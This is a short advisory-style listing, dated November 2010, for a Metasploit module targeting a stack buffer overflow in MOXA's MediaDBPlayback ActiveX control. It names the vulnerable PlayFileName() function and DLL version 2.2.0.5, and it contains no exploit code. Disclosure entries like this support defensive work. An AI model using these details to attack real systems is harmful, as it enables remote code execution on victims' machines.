MOXA MediaDBPlayback ActiveX Control Buffer Overflow

MOXA MediaDBPlayback ActiveX Control Buffer Overflow
Posted Nov 5, 2010
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in MOXA_ActiveX_SDK. When sending an overly long string to the PlayFileName() of MediaDBPlayback.DLL (2.2.0.5) an attacker may be able to execute arbitrary code.
